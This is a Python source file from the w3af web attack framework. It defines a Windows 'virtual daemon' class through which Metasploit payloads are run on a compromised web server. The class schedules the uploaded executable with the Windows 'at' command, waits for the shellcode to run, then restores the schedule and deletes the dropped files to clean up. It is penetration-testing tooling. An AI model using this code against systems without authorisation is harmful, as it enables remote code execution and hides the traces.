'''
winVd.py

Copyright 2006 Andres Riancho

This file is part of w3af, w3af.sourceforge.net .

w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

'''

import time

from core.controllers.vdaemon.vdaemon import vdaemon
import core.controllers.outputManager as om

from core.controllers.intrusionTools.atHandler import atHandler


class winVd(vdaemon):
    '''
    This class represents a windows virtual daemon, a point of entry for metasploit plugins to exploit web applications.
    
    @author: Andres Riancho ( andres.riancho@gmail.com )
    '''                     
    def _clean_up( self ):
        '''
        Removes the created file and the crontab entry.
        '''
        self._exec( 'del ' + self._remote_filename )
        self._exec( 'del ' + self._remote_filename + '._' )
    
    def _exec_payload( self ):
        '''
        This method should be implemented according to the remote operating system. The idea here is to
        execute the payload that was sent using _sendExeToServer and generated by _generateExe . In winVd
        I should add self._filename to the crontab .
        
        This method should be implemented in winVd and winVd.
        '''
        aH = atHandler( self._exec_method )
        if not aH.canDelay():
            om.out.information('Remote user is not allowed to run at! Running command without at, this may cause a timeout.')
            self._exec( self._remote_filename )
        else:
            waitTime = aH.addToSchedule( self._remote_filename )

            om.out.console('"at" entry successfully added. Waiting for shellcode execution.')
            time.sleep( waitTime + 3 )

            om.out.console('Payload successfully executed, restoring old "at".')
            aH.restoreOldSchedule()
            
            om.out.debug('All done, check metasploit handler console for results.')
            
    def getOS( self ):
        return 'windows'
